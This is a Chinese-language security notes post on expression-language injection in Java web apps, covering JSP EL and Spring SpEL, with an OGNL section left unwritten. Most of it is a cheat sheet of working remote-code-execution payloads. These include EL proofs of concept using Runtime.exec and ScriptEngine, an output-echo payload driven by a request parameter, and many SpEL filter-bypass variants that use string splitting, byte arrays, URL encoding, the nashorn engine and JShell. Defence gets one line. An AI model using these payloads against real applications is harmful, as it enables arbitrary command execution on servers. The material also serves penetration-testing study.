EL表达式注入

EL表达式

EL(Expression Language) 是为了使JSP写起来更加简单。表达式语言的灵感来自于 ECMAScript 和 XPath 表达式语言,它提供了在 JSP 中简化表达式的方法,让Jsp的代码更加简化。

EL存取变量数据的方法很简单,例如:$。它的意思是取出某一范围中名称为username的变量。

但如果我们没有指令变量的范围,它会依序从Page,Request,Session,Application范围查找。

PoC

获取Web路径:

${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

RCE:

${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

使用ScriptEngine:

${''.getClass().forName("javax.script.ScriptEngineManager")
.newInstance().getEngineByName("JavaScript")
.eval("java.lang.Runtime.getRuntime().exec('calc')")}

自己尝试写的一个回显PoC:

${"".getClass().forName("java.io.BufferedReader")
.getConstructor("".getClass().forName("java.io.Reader"))‘
.newInstance("".getClass().forName("java.io.InputStreamReader")
.getConstructor("".getClass().forName("java.io.InputStream")).newInstance("".getClass().forName("java.lang.Runtime")
.getMethod("exec","".getClass())
.invoke("".getClass().forName("java.lang.Runtime")
.getMethod("getRuntime").invoke(null),param.cmd).getInputStream())).readLine()}

但是因为表达式中无法进行循环操作,所以只能读取一行数据

SpEL表达式注入

SpEL表达式

在Spring 3中引入了Spring表达式语言(Spring Expression Language,简称SpEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于XML和基于注解的Spring配置还有bean定义一起使用。

SpEL使用#{}作为定界符,所有在大括号中的字符都将被认为是SpEL表达式,在其中可以使用SpEL运算符、变量、引用bean及其属性和方法等。

这里需要注意#{}${}的区别:

  • #{}就是SpEL的定界符,用于指明内容未SpEL表达式并执行;
  • ${}主要用于加载外部属性文件中的值;
  • 两者可以混合使用,但是必须#{}在外面,${}在里面,如#{'${}'},注意单引号是字符串类型才添加的;

SpEL在求表达式的值时分为4步

1.构造一个解析器

ExpressionParser expressionParser = new SpelExpressionParser();

2.用解析器解析字符串表达式

Expression exp = expressionParser.parseExpression(exp);

3.构造上下文(可省略)

EvaluationContext context = new StandardEvaluationContext();

4.根据上下文得到表达式运算后的值

System.out.println(expression.getValue(context));

需要注意的是第三部中的SimpleEvaluationContextStandardEvaluationContext是SpEL提供的两个EvaluationContext。SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用;而StandardEvaluationContext是支持全部SpEL语法的。

在不指定EvaluationContext的情况下默认采用StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以造成任意命令执行。

public class MyTest {
    public static void main(String[] args) throws IOException {
        String cmdStr = "T(java.lang.Runtime).getRuntime().exec('calc')";
        ExpressionParser expressionParser = new SpelExpressionParser();
        Expression exp = expressionParser.parseExpression(cmdStr);
        System.out.println(exp.getValue());
}
}

PoC

T(java.lang.Runtime).getRuntime().exec('calc')
    
new java.lang.ProcessBuilder({'calc'}).start()    

//ByPass
T(String).getClass().forName('java.lang.Runtime').getRuntime().exec('calc')
    
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"}) 
    
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
 
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
    
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))

// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)

// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)

// JavaScript引擎+URL编码
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
    
// JDK9新增的shell
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

防御方法

将StandardEvaluationContext替换为SimpleEvaluationContext

OGNL表达式注入

有时间再看...